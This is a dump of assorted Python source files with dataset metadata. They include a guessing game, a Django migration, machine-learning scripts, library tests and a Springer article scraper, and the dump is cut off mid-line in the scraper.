fn_cash_book_report(%s,'%s','%s')\n ''' %(self.account_id,self.start_date,self.end_date)\n self.cr.execute(sql)\n for line in self.cr.dictfetchall():\n bal_amount = line['bal_amount'] and line['bal_amount'] or ''\n description = line['description'] and line['description'] or ''\n if lang=='e' and line['bold_flag'] == True:\n description = line['translate_des'] and line['translate_des'] or '',\n \n if line['bold_flag'] == True:\n bal_amount = line['bal_amount'] and line['bal_amount'] or 0\n \n pay_num = line['pay_num'] or line['rec_num'] or ''\n \n res.append({\n 'gl_date':line['gl_date'] and self.get_vietname_date(line['gl_date']) or '',\n 'document_date':line['document_date'] and self.get_vietname_date(line['document_date']) or '',\n 'rec_num':pay_num,\n 'description':description,\n 'pay_amount':line['pay_amount'] and line['pay_amount'] or '',\n 'rec_amount':line['rec_amount'] and line['rec_amount'] or '',\n 'bal_amount':bal_amount,\n 'bold_flag':line['bold_flag'] and line['bold_flag'] or False\n })\n return res\n \n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"addons-deploy/general_report_warehouse/report/general_stock_ledger.py","file_name":"general_stock_ledger.py","file_ext":"py","file_size_in_byte":5228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"340139178","text":"import random\n\n# Get the user's guess\n# Params: None\n# Returns: Integer\n#\ndef get_guess():\n\n # Get initial guess\n guess = raw_input('Enter your guess: ')\n\n # Assume it's not valid, until it's proven otherwise\n valid = False\n\n while valid != True:\n\n try:\n # Try and convert this number to an integer\n # If it fails, the exception will occur\n guess = int(guess)\n except Exception:\n # Exception was thrown when trying to convert to number,\n # Report the issue and ask again\n print('Invalid input; please enter a whole number.')\n valid = False\n guess = get_guess()\n\n # If they get here, it means the number must have been valid\n # Set valid to be true to break out of the while loop\n valid = True\n\n return guess\n\n\ndef compare(numA, numB):\n if numA > numB:\n return 'high'\n elif numB > numA:\n return 'low'\n\n# main function\n# Param: low and high limits\n# Returns: String result\ndef play(lowNum, highNum):\n secret_number = random.randint(lowNum, highNum)\n \n print('number is ' + str(secret_number))\n \n print('\\nI\\'m thinking of a number between ' + str(lowNum) + ' and ' + str(highNum) + ', what do you think it is?')\n \n guess = int(get_guess())\n count = 1\n while guess != secret_number:\n print('Too ' + compare(guess, secret_number) + '. Guess again.')\n guess = int(get_guess())\n count = count + 1\n print('You got it! Secret number was ' + str(secret_number))\n print('It took you ' + str(count) + ' guesses.')\n \nplay(1,10)","sub_path":"mosthighleveldir/guessagain.py","file_name":"guessagain.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"290309185","text":"import turtle\nturtle.goto(0,0)\nturtle.tracer(1,0)\n\nturtle.direction= None \n\ndef up():\n turtle.direction = \"Up\"\n print('you pressed the up key.')\n on_move()\n\ndef down():\n turtle.direction='Down'\n print('you pressed the down button')\n on_move()\n\ndef left():\n turtle.direction='Left'\n print('you pressed the left button')\n on_move()\ndef right():\n turtle.direction='Right'\n print('you pressed the right button')\n on_move()\n \npixel_move=20\n\ndef on_move():\n turtle.position()\n x_pos=turtle.xcor()\n y_pos=turtle.ycor()\n if turtle.direction=='Up':\n turtle.goto(x_pos,y_pos+pixel_move)\n turtle.seth(90)\n elif turtle.direction=='Left':\n turtle.goto(x_pos-pixel_move,y_pos)\n turtle.seth(180)\n elif turtle.direction=='Right':\n turtle.goto(x_pos+pixel_move,y_pos)\n turtle.seth(0)\n else:\n turtle.goto(x_pos,y_pos-pixel_move)\n turtle.seth(270)\n \n \n\nturtle.onkey(up, \"Up\")\nturtle.onkey(down,'Down')\nturtle.onkey(left,'Left')\nturtle.onkey(right,'Right')\n##turtle.goto(0,0)\nturtle.listen()\n\n\n\nturtle.mainloop()\n","sub_path":"fun2.py","file_name":"fun2.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"400552145","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport model_utils.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Deployment',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('url', models.CharField(max_length=600)),\n ('email', models.EmailField(max_length=75)),\n ('deploy_id', models.CharField(max_length=100)),\n ('remote_container_id', models.CharField(max_length=64)),\n ('remote_app_id', models.CharField(max_length=100, blank=True)),\n ('launch_time', models.DateTimeField(null=True, blank=True)),\n ('expiration_time', models.DateTimeField(null=True, blank=True)),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('status', models.CharField(default=b'Deploying', max_length=50, choices=[(b'Deploying', b'Deploying'), (b'Completed', b'Completed'), (b'Failed', b'Failed'), (b'Expired', b'Expired')])),\n ('reminder_mail_sent', models.BooleanField(default=False)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='DeploymentErrorLog',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('http_status', models.CharField(max_length=3)),\n ('error_log', models.TextField()),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('deployment', models.OneToOneField(related_name='error_log', to='deployment.Deployment')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Project',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=100)),\n ('github_url', models.CharField(max_length=200)),\n ('image_name', models.CharField(max_length=300)),\n ('ports', models.CharField(help_text=b'Internally exposed ports separated by spaces, example: 80 8080', max_length=300)),\n ('hostnames', models.CharField(help_text=b'Hostnames separated by spaces, needed when multiple ports are exposed, example: lms cms', max_length=300, blank=True)),\n ('env_vars', models.CharField(help_text=b'Space separated environment variables, example: key1=val1 key2=val2', max_length=500, blank=True)),\n ('number_of_cpus', models.DecimalField(null=True, max_digits=4, decimal_places=2, blank=True)),\n ('amount_of_ram', models.PositiveIntegerField(null=True, verbose_name=b'Amount of RAM in MB', blank=True)),\n ('trial_duration', models.IntegerField(help_text=b'Trial duration in minutes', null=True, blank=True)),\n ('unconfirmed_trial_duration', models.IntegerField(help_text=b'Trial duration in minutes', null=True, blank=True)),\n ('slug', models.SlugField(max_length=40, null=True, blank=True)),\n ('status', model_utils.fields.StatusField(default=b'Inactive', max_length=100, no_check_for_status=True, choices=[(b'Active', b'Active'), (b'Hidden', b'Hidden'), (b'Inactive', b'Inactive')])),\n ('default_username', models.CharField(max_length=30, blank=True)),\n ('default_password', models.CharField(max_length=30, blank=True)),\n ('survey_form_url', models.URLField(blank=True)),\n ],\n options={\n 'ordering': ['name'],\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='deployment',\n name='project',\n field=models.ForeignKey(related_name='deployments', to='deployment.Project'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='deployment',\n name='user',\n field=models.ForeignKey(related_name='deployments', blank=True, to=settings.AUTH_USER_MODEL, null=True),\n preserve_default=True,\n ),\n ]\n","sub_path":"launcher/deployment/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":4566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"377476959","text":"import os\n#os.environ['TF_CPP_MIN_LOG_LEVEL']='2' #silence SSE warnings\nimport tensorflow as tf\nprint(tf.__version__)\nimport itertools\nimport numpy as np\nfrom numpy import genfromtxt\n#tf.logging.set_verbosity(tf.logging.ERROR) #supressing more warnings\n\nfeatures = [tf.contrib.layers.real_valued_column(\"x\", dimension=5)]\n\nestimator = tf.contrib.learn.LinearRegressor(feature_columns=features)\n\ncsvData = genfromtxt('cpuData.data', delimiter=',')\nprices = []\nfor x in np.array(csvData[:,4]):\n prices.append([x])\ndataNoPrices = np.array(csvData[:,:4]).astype(dtype=np.float32)\nprices = np.array(prices).astype(dtype=np.float32)\n\n#data from userbenchmark.com\n#intel -> 1, AMD ->0\n#data is [make, cores, thread, clock rate]\n#train first 60 data points\nx_train = dataNoPrices[:60]\ny_train = prices[:60]\n\n#evaluate the next group\nx_eval = dataNoPrices[61:len(dataNoPrices) - 1]\ny_eval = prices[61:len(prices) - 1]\n\n#print out prediction on last data point\n\nx_prediction = np.array([dataNoPrices[len(dataNoPrices) - 1]])\ny_prediction = prices[len(prices) - 1]\n\n\n\ninputFN = tf.contrib.learn.io.numpy_input_fn({\"x\":x_train}, y_train, batch_size=4, num_epochs=1000)\nevalInputFN = tf.contrib.learn.io.numpy_input_fn({\"x\":x_eval}, y_eval, batch_size=4, num_epochs=1000)\npredictionFN = tf.contrib.learn.io.numpy_input_fn({\"x\":x_prediction}, y_prediction, batch_size=1,num_epochs=1000)\n\nestimator.fit(input_fn=inputFN, steps=1000)\n\n# Evaluation\ntrain_loss = estimator.evaluate(input_fn=inputFN)\neval_loss = estimator.evaluate(input_fn=evalInputFN)\nprint(\"train loss: %r\"% train_loss)\nprint(\"eval loss: %r\"% eval_loss)\niterablePredictions = estimator.predict(input_fn=predictionFN)\npredictions = list(itertools.islice(iterablePredictions, len(x_prediction)))\nprint (\"Prediction: {}\".format(str(predictions)))\nprint(\"Actual -> %r\"% y_prediction)\n\n","sub_path":"cpu_linear_predictor.py","file_name":"cpu_linear_predictor.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"274353786","text":"# http://scikit-learn.sourceforge.net/0.6/auto_examples/applications/plot_face_recognition.html\n\nimport sys\nimport os\n\n# set working directory\nif sys.platform == 'win32':\n\tos.chdir('C:/Users/LUIJK01/Documents/GitHub/FaceRecognition')\nelse:\n\tos.chdir('/Users/rluijk/Documents/GitHub/FaceRecognition')\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.svm import SVC\n\n# read data\nx_train = np.loadtxt('data/x_train_pca.csv', delimiter = ',')\nx_test = np.loadtxt('data/x_test_pca.csv', delimiter = ',')\ny_train = np.loadtxt('data/y_train.csv', delimiter = ',')\ny_test = np.loadtxt('data/y_test.csv', delimiter = ',')\n\n# parameters\nparams = {\n 'C' : 10**np.linspace(-8, -4, num = 50)\n}\n\n# initialize object\nclf = GridSearchCV(estimator = SVC(kernel = 'linear'), param_grid = params, cv = 5)\n\n# fit data\nclf.fit(x_train, y_train)\n\n# best parameters\nprint(clf.best_params_)\n\n# all parameters and accuracies\ndf = pd.DataFrame({\n 'C': [x['C'] for x in clf.cv_results_['params']],\n 'score': clf.cv_results_['mean_test_score']\n})\nprint(df)\nsns.pointplot(x = 'C', y = 'score', data = df)\n\n# predict test set\nypred = clf.predict(x_test)\nprint(classification_report(y_pred = ypred, y_true = y_test)) # 0.8\n","sub_path":"svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"122119843","text":"# coding: utf-8\n\n# Standard Python libraries\nfrom datetime import date\n\n# https://github.com/usnistgov/atomman\nimport atomman.lammps as lmp\n\ndef test_lammps_versions(commands):\n \"\"\"\n Tests the primary and alternative lammps commands listed in the loaded \n commands file. Only works when called on the machine where the executables\n are accessible, i.e. don't use if preparing on a different resource!\n Issues an error if the primary lammps command is inaccessible or too old.\n Ignores alternate lammps commands if they are inaccessible or not in the\n required date range.\n \n lammps_command - must be 30 Oct 2019 or newer.\n lammps_command_snap_1 - must be between 8 Aug 2014 and 30 May 2017.\n lammps_command_snap_2 - must be between 3 Dec 2018 and 12 Jun 2019.\n lammps_command_old - must be before 30 Oct 2019.\n\n Parameters\n ----------\n commands : dict\n The mpi and lammps commands to use when preparing.\n \"\"\"\n \n # Test main LAMMPS command\n lammps_command = commands['lammps_command']\n lammpsdate = lmp.checkversion(lammps_command)['date']\n assert lammpsdate >= date(2019, 10, 30)\n\n # Define test for older LAMMPS commands\n def test_old(commands, key, startdate=None, enddate=None):\n if key in commands:\n command = commands[key]\n else:\n return True\n\n try:\n lammpsdate = lmp.checkversion(command)['date']\n except:\n print(f'{key} not found or not working')\n else:\n if startdate is not None and lammpsdate < startdate:\n print(f'{key} too old')\n elif enddate is not None and lammpsdate > enddate:\n print(f'{key} too new')\n else:\n return True\n return False\n\n # Test older LAMMPS commands\n if not test_old(commands, 'lammps_command_snap_1', date(2014, 8, 8), date(2017, 5, 30)):\n del commands['lammps_command_snap_1']\n if not test_old(commands, 'lammps_command_snap_2', date(2018, 12, 3), date(2019, 6, 12)):\n del commands['lammps_command_snap_2']\n if not test_old(commands, 'lammps_command_old', None, date(2019, 10, 30)): \n del commands['lammps_command_old']","sub_path":"iprPy/workflow/test_lammps_versions.py","file_name":"test_lammps_versions.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"241316891","text":"#74. Suppose you have a multiplication table that is N by N. That is, a 2D array where the value at the i-th row and j-th column is (i + 1) * (j + 1) (if 0-indexed) or i * j (if 1-indexed).\n\n# Given integers N and X, write a function that returns the number of times X appears as a value in an N by N multiplication table.\n\ndef multiplicationTable(n, x):\n # generate blank multiplication table:\n table = []\n for i in range(n):\n temp_list = []\n for j in range(n):\n temp_list.append(0)\n table.append(temp_list)\n\n # alter first row\n for i in range(n):\n table[0][i] = (i+1)\n\n # alter first column\n for i in range(n):\n table[i][0] = (i+1)\n\n # fill blank spaces in table\n i = 0\n while i < (n - 1):\n j = 0\n while j < (n - 1):\n table[i + 1][j + 1] = table[0][i + 1] * table[j + 1][0]\n j += 1\n i += 1\n\n # count number of appearances of x\n count = 0\n for i in table:\n for j in i:\n if j == x:\n count += 1\n\n return count\n\nprint(multiplicationTable(6, 12))\n","sub_path":"daily_coding_problem/problem74.py","file_name":"problem74.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"523582717","text":"from django.db import models\n\nfrom ..managers import SafeDeleteManager, SafeDeleteQueryset\nfrom ..models import SafeDeleteModel\n\n\nimport pytest\npytestmark = pytest.mark.django_db\n\nclass CustomQuerySet(SafeDeleteQueryset):\n\n def green(self):\n return self.filter(\n color='green'\n )\n\n\nclass CustomManager(SafeDeleteManager):\n _queryset_class = CustomQuerySet\n\n def green(self):\n \"\"\"Implemented here so ``green`` available as manager's method\n \"\"\"\n return self.get_queryset().green()\n\n\nchoices = (\n ('red', \"Red\"),\n ('green', \"Green\"),\n)\n\n\nclass CustomQuerySetModel(SafeDeleteModel):\n color = models.CharField(\n max_length=5,\n choices=choices\n )\n\n objects = CustomManager()\n\n # other manager to test custom QS using ``SafeDeleteManager.__init__``\n other_objects = SafeDeleteManager(CustomQuerySet)\n\ndef test_custom_queryset_original_behavior():\n \"\"\"Test whether creating a custom queryset works as intended.\"\"\"\n CustomQuerySetModel.objects.create(\n color=choices[0][0]\n )\n CustomQuerySetModel.objects.create(\n color=choices[1][0]\n )\n\n assert CustomQuerySetModel.objects.count() == 2\n assert CustomQuerySetModel.objects.green().count() == 1\n\ndef test_custom_queryset_custom_method():\n \"\"\"Test custom filters for deleted objects\"\"\"\n instance = _create_green_instance()\n instance.delete()\n\n deleted_only = CustomQuerySetModel.objects.deleted_only()\n\n # ensure deleted instances available\n assert deleted_only.count() == 1\n\n # and they can be custom filtered\n assert deleted_only.green().count() == 1\n\ndef test_custom_queryset_without_manager():\n \"\"\"Test whether custom queryset may be used without custom manager\n \"\"\"\n instance = _create_green_instance()\n instance.delete()\n\n # note that ``other_objects`` manager used\n deleted_only = CustomQuerySetModel.other_objects.deleted_only()\n\n # ensure deleted instances available\n assert deleted_only.count() == 1\n\n # and they can be custom filtered\n assert deleted_only.green().count() == 1\n\ndef _create_green_instance():\n \"\"\"Shortcut for creating instance with ``color == green``\n \"\"\"\n return CustomQuerySetModel.objects.create(color=choices[1][0])\n","sub_path":"safedelete/tests/test_custom_queryset.py","file_name":"test_custom_queryset.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"442771836","text":"from rest_framework.request import clone_request\n\ndef _check_arrays_for_method(serializers, method=None, action=None):\n for item in serializers:\n if isinstance(item, tuple):\n # if have tuple like (\"POST\", \"PUT\") or (\"list\", \"retrieve\")\n if (method in item) or (action in item):\n return item\n else:\n # if we have (i hope) string like \"GET\" or \"update\"\n if (method == item) or (action == item):\n return item\n\n return None\n\n\ndef _get_serializer_class(instance):\n\n _action = getattr(instance, 'action', None)\n _method = instance.request.method\n _serializers = instance.serializers\n\n _temp = _check_arrays_for_method(_serializers, _method, _action)\n\n if _temp is not None:\n serializer_name = _temp\n elif 'default' in _serializers:\n serializer_name = 'default'\n else:\n raise KeyError('No default serializer for %s and %s' % (_action, _method))\n\n return _serializers.get(serializer_name)\n\n\nclass MultiSerializerMixin(object):\n\n def get_serializer_class(self):\n return _get_serializer_class(self)\n\ndef _nested(self_instance, read_only=None, action=None, method=None):\n\n original_request = self_instance.request\n\n if read_only:\n assert action is None and method is None, \\\n 'No `method` and/or `action` params allowed when passing `read_only` = True'\n\n method = 'GET'\n action = 'retrieve'\n\n if method is None:\n method = original_request.method\n\n request_copy = clone_request(original_request, method)\n\n return {\n \"action\": action,\n \"request\": request_copy, # returning copy of readonly request\n \"kwargs\": self_instance.kwargs\n }","sub_path":"taskboard/common/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"532714622","text":"import argparse\nimport yaml\nimport logging\nfrom ubm.setup_logging import setup_logging\nfrom ubm.local_loader import LocalLoader\nfrom ubm.flickr_uploader import FlickrUploader\n\n# Setup global logging\nsetup_logging()\n\n\nclass Ubm(object):\n\n def __init__(self, loader, uploader):\n self.logger = logging.getLogger(__name__)\n self.loader = loader\n self.uploader = uploader\n\n def upload(self, root_path):\n self.uploader.upload(self.loader.load(root_path))\n\n\ndef main(args=None):\n logger = logging.getLogger(__name__)\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\",\n \"--conf\",\n required=True,\n help=\"configuration file\")\n if args is not None:\n args = parser.parse_args(args)\n else:\n args = parser.parse_args()\n\n with open(args.conf, 'r') as conf_file:\n conf = yaml.load(conf_file)\n\n loader = LocalLoader(FlickrUploader.SUPPORTED_IMAGE_FILE_TYPES)\n uploader = FlickrUploader(conf['flickr']['client_key'],\n conf['flickr']['client_secret'],\n conf['flickr']['resource_owner_key'],\n conf['flickr']['resource_owner_secret'])\n ubm = Ubm(loader, uploader)\n ubm.upload(conf['root_path'])\n# config= None\n# for loc in os.curdir, os.path.expanduser(\"~\"), \"/etc/myproject\", os.environ.get(\"MYPROJECT_CONF\"):\n# try: \n# with open(os.path.join(loc,\"myproject.conf\")) as source:\n# config.readfp( source )\n# except IOError:\n# pass\nif __name__ == '__main__':\n main()\n","sub_path":"ubm/ubm.py","file_name":"ubm.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"58077980","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport glob\nimport os\n\nos.chdir('Pictures')\nfruitTypes = os.listdir(\".\")\n# print(fruitTypes)\nos.chdir('..')\n\n\ndef prepare_X_Y(path):\n lbl = 0\n fruitList = glob.glob(path+fruitTypes[0]+'/*')\n # print(fruitList)\n # print('\\n\\n')\n fruits = np.array([np.array(cv2.resize(cv2.imread(fruit),(100,100))) for fruit in fruitList])\n x_y = np.array([[img,lbl] for img in fruits])\n # print(x_y.shape)\n lbl += 1\n rest = fruitTypes[1:]\n # print(rest)\n for f in rest:\n # print(f)\n fruitList = glob.glob(path + f + '/*')\n # print(fruitList)\n fruits = np.array([np.array(cv2.resize(cv2.imread(fruit),(100,100))) for fruit in fruitList])\n x_y = np.vstack((x_y,np.array([[img,lbl] for img in fruits])))\n # print(x_y.shape)\n lbl += 1\n # print(x_y.shape)\n # print x_y[:,1]\n np.random.shuffle(x_y)\n return x_y\nx_y_train = prepare_X_Y('Pictures/')\nx_y_test = prepare_X_Y('Validation/')\nfor i in range(36):\n plt.subplot(6,6,i+1,xticks=[],yticks=[])\n plt.imshow(x_y_train[i,0][:,:,[2,1,0]],interpolation='nearest',aspect='auto')\nplt.show()\n\n\nx_y_train = x_y_train\nx_y_test = x_y_test\n#\n# print(x_y_train.shape)\n# print(x_y_test.shape)\n\ndef divide_img_lbl(data):\n \"\"\" split data into image and label\"\"\"\n x = []\n y = []\n for [item,lbl] in data:\n x.append(item)\n y.append([lbl])\n x = np.array(x)\n y = np.array(y)\n return x,y\n\nx_train,y_train = divide_img_lbl(x_y_train)\n\n# print(x_train.shape)\n# print(y_train.shape)\n\nx_test,y_test = divide_img_lbl(x_y_test)\n\nprint(x_test.shape)\nprint(y_test.shape)\n\n# rescale [0,255] --> [0,1]\nx_train = x_train[0:10000].astype('float32')/255\nx_test = x_test[0:10000].astype('float32')/255\ny_train = y_train[0:10000]\ny_test = y_test [0:10000]\n# print x_train[0]\nbins = np.arange(0,36)\nlbl = fruitTypes\n# import seaborn as sns\n# sns.set()\n# plt.hist(y_train,bins,ec='black')\n# plt.xlabel('Labels')\n# plt.ylabel('Frequency')\n# plt.xticks(bins,lbl)\n# plt.show()\nimport keras\n\n# one Hot_Encoding\n# print y_train\nnum_classes = len(fruitTypes)\n# print len(y_train)\n# print y_train.max(),y_train.min()\n# print y_test.max(),y_test.min()\n# print num_classes\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\n\n\n# break trainset into trainset and validationset\n#take first 80% as train and 20% as validation\nuptill = int(len(x_train)*0.8)\n(x_train,x_valid) = x_train[:uptill],x_train[uptill:]\n(y_train,y_valid) = y_train[:uptill],y_train[uptill:]\n\nprint(x_train.shape)\nprint(x_valid.shape)\nprint(y_train.shape)\nprint(y_valid.shape)\n\n\n# create the model\n\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D,MaxPooling2D,Flatten,Dense,Dropout\n\nmodel2 = Sequential()\nmodel2.add(Conv2D(filters = 16,kernel_size=2,padding='same',activation='relu',input_shape=(100,100,3)))\nmodel2.add(MaxPooling2D(pool_size=2))\nmodel2.add(Conv2D(filters=32,kernel_size=2,padding='same',activation='relu'))\nmodel2.add(MaxPooling2D(pool_size=2))\nmodel2.add(Conv2D(filters=64,kernel_size=2,padding='same',activation='relu'))\nmodel2.add(MaxPooling2D(pool_size=2))\nmodel2.add(Conv2D(filters=128,kernel_size=2,padding='same',activation='relu'))\nmodel2.add(MaxPooling2D(pool_size=2))\n\nmodel2.add(Dropout(0.2))\nmodel2.add(Flatten())\nmodel2.add(Dense(1000,activation='relu'))\nmodel2.add(Dropout(0.2))\nmodel2.add(Dense(1200,activation='relu'))\nmodel2.add(Dropout(0.2))\nmodel2.add(Dense(1000,activation='relu'))\nmodel2.add(Dropout(0.2))\n\n\nmodel2.add(Dense(3,activation='softmax'))\n# model2.summary()\n\n#compile the model\nmodel2.compile(loss='mean_squared_error', optimizer='rmsprop',metrics=['accuracy'])\nfrom keras.callbacks import ModelCheckpoint\n# checkpointer = ModelCheckpoint(filepath='modelFruit.weights.best.hdf5', verbose=1,\n# save_best_only=True)\n# hist = model2.fit(x_train,y_train,batch_size=32,epochs=100,validation_data=(x_valid,y_valid),callbacks=[checkpointer],verbose=2,shuffle=True)\n\n# load weight with best validation score\nmodel2.load_weights('modelFruit.weights.best.hdf5')\n\nscore = model2.evaluate(x_test,y_test,verbose=0)\nprint('test accuracy',score[1])\n\nLabels = fruitTypes\nprint(Labels)\nprint(x_test.shape)\ny_hat = (model2.predict(x_test))\nfor i in range(25):\n plt.subplot(5,5,i+1,xticks=[],yticks=[])\n plt.imshow(np.squeeze(x_test[i][:,:,[2,1,0]]))\n pred_idx = np.argmax(y_hat[i])\n true_idx = np.argmax(y_test[i])\n plt.title(\"{} ({})\".format(Labels[pred_idx],Labels[true_idx] ),color=(\"green\" if pred_idx == true_idx else \"red\"))\n# plt.tight_layout()\nplt.show()\n","sub_path":"ClassifyFruit.py","file_name":"ClassifyFruit.py","file_ext":"py","file_size_in_byte":4711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"124804638","text":"from main import *\r\nclass Bullet(object):\r\n\tdef __init__(self, x,y, speed=8 ):\r\n\t\tself.x=x\r\n\t\tself.y=y\r\n\t\tself.speed=speed\r\n\r\n\tdef move(self):\r\n\t\tself.x+= self.speed\r\n\t\tif self.x <= display_width:\r\n\t\t\tdisplay.blit(shot_img, (self.x,self.y))\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False","sub_path":"bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"494087837","text":"from bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport time\nimport csv\nimport requests\nimport random\nfrom FreeProxy.proxytool import proxytool\nfrom fake_useragent import UserAgent\n\ndef get_ip():\n ip_list = proxytool().get(num=1)\n ip_touple = ip_list[0]\n ip_head = ip_touple[0]\n ip_last = ip_touple[1]\n proxy_info = {'host': ip_head, 'port': ip_last}\n return proxy_info\n\ndef get(str,csv_write,HEADERS,out,proxy_info):\n\trow = []\n\tresult_req = requests.get(str, headers=HEADERS,proxies=proxy_info)\n\tresultsoup = BeautifulSoup(result_req.text, features='lxml')\n\ttitle = resultsoup.find('h1', {\"class\":\"ArticleTitle\"})\n\tauthors = resultsoup.find_all('span', {\"class\":\"authors__name\"})\n\tabstract_a = resultsoup.find('p', {\"class\":\"Para\"})\n\ttime = resultsoup.find_all('time')\n\tif title is None :\n\t\ttitle = 'null'\n\t\trow.append(title)\n\telse:\n\t\trow.append(title.get_text())\n\tif len(authors) ==0 :\n\t\tauthor_list = 'null'\n\t\trow.append(author_list)\n\telse:\n\t\tauthor_list = authors[0].get_text()\n\t\tfor j in range(1,len(authors)):\n\t\t\tauthor_list=author_list+' '+authors[j].get_text()\n\t\trow.append(author_list)\n\tif len(time)<2:\n\t\ttime = 'null'\n\t\trow.append(time)\n\telse:\n\t\trow.append(time[1].get_text())\n\tif abstract_a is None :\n\t\tabstract_a = 'null'\n\t\trow.append(abstract_a)\n\telse:\n\t\trow.append(abstract_a.get_text())\n\tprint(row)\n\tcsv_write.writerow(row)\n\tout.flush()\n\ndef if_have_next(Volumeurl,HEADERS,proxies2):\n\tVolume_req = requests.get(Volumeurl[-1], headers=HEADERS,proxies=proxies2)\n\tVolumesoup = BeautifulSoup(Volume_req.text, features='lxml')\n\tnext = Volumesoup.find('a',{'class':'next'})\n\treturn next\n\n\n# url获取\n\n\nif __name__ == '__main__':\n\t\n\tbaseurl=\"https://link.springer.com\"\n\tua = UserAgent()\n\tua = ua.random\n\tHEADERS = {\"User-Agent\":ua}\n\tout=open(\"/home/cbq/Desktop/scapiy/Hydrodynamics.csv\",'a',newline='')\n\tcsv_write=csv.writer(out,dialect='excel')\n\tArticle_sort = []\n\t# (31) 30 22\n\tcount = 0\n\tproxies2 = get_ip()\n\t#for i in range (25,22,-1):\n\t#\tfor j in range(1,6):\t\n\tVolumeurl = []\n\tfirstone = 'https://link.springer.com/journal/42241/31/1'\n\tVolumeurl.append(firstone)\n\tnext = firstone\n\t#count = count+1\n\t\t\t#if count % 5 == 0:\n\t\t\t#\tproxies2 = get_ip()\n\t\t\t#else:\n\t\t\t#\tpass\n\twhile next is not None:\t\n\t\tnext = if_have_next(Volumeurl,HEADERS,proxies2)\n\t\tif next is None:\n\t\t\tcontinue\n\t\telse:\n\t\t\tVolumeurl.append(baseurl+next.get('href'))\n\tif len(Volumeurl) > 1:\n\t\tfor t in Volumeurl:\n\t\t\tVolume_req = requests.get(t,headers=HEADERS,proxies=proxies2)\n\t\t\ttime.sleep(0.5)\n\t\t\tVolumesoup = BeautifulSoup(Volume_req.text, features='lxml')\n\t\t\tArticle = Volumesoup.find_all('h3',{\"class\":\"title\"})\n\t\t\tfor m in Article:\n\t\t\t\tArticleurl = m.find_all('a')\n\t\t\t\tfor a in Articleurl:\n\t\t\t\t\tArticle_sort.append(a.get('href'))\n\telse:\n\t\tVolume_req = requests.get(firstone,headers=HEADERS,proxies=proxies2)\n\t\tVolumesoup = BeautifulSoup(Volume_req.text, features='lxml')\n\t\tArticle = Volumesoup.find_all('h3',{\"class\":\"title\"})\n\t\tfor m in Article:\n\t\t\tArticleurl = m.find_all('a')\n\t\t\tfor a in Articleurl:\n\t\t\t\tArticle_sort.append(a.get('href'))\n\ttime.sleep(0.5)\n\t\t\t\t\t\n\tnum= 0\n\tproxies3 = get_ip()\n\tfor i in range(0,len(Article_sort)):\n\t\tnum= num+1\n\t\tprint(num)\n\t\turl_art = baseurl+Article_sort[i]\n\t\tprint(url_art)\n\t\tif num % 5 == 0:\n\t\t\tproxies3 = 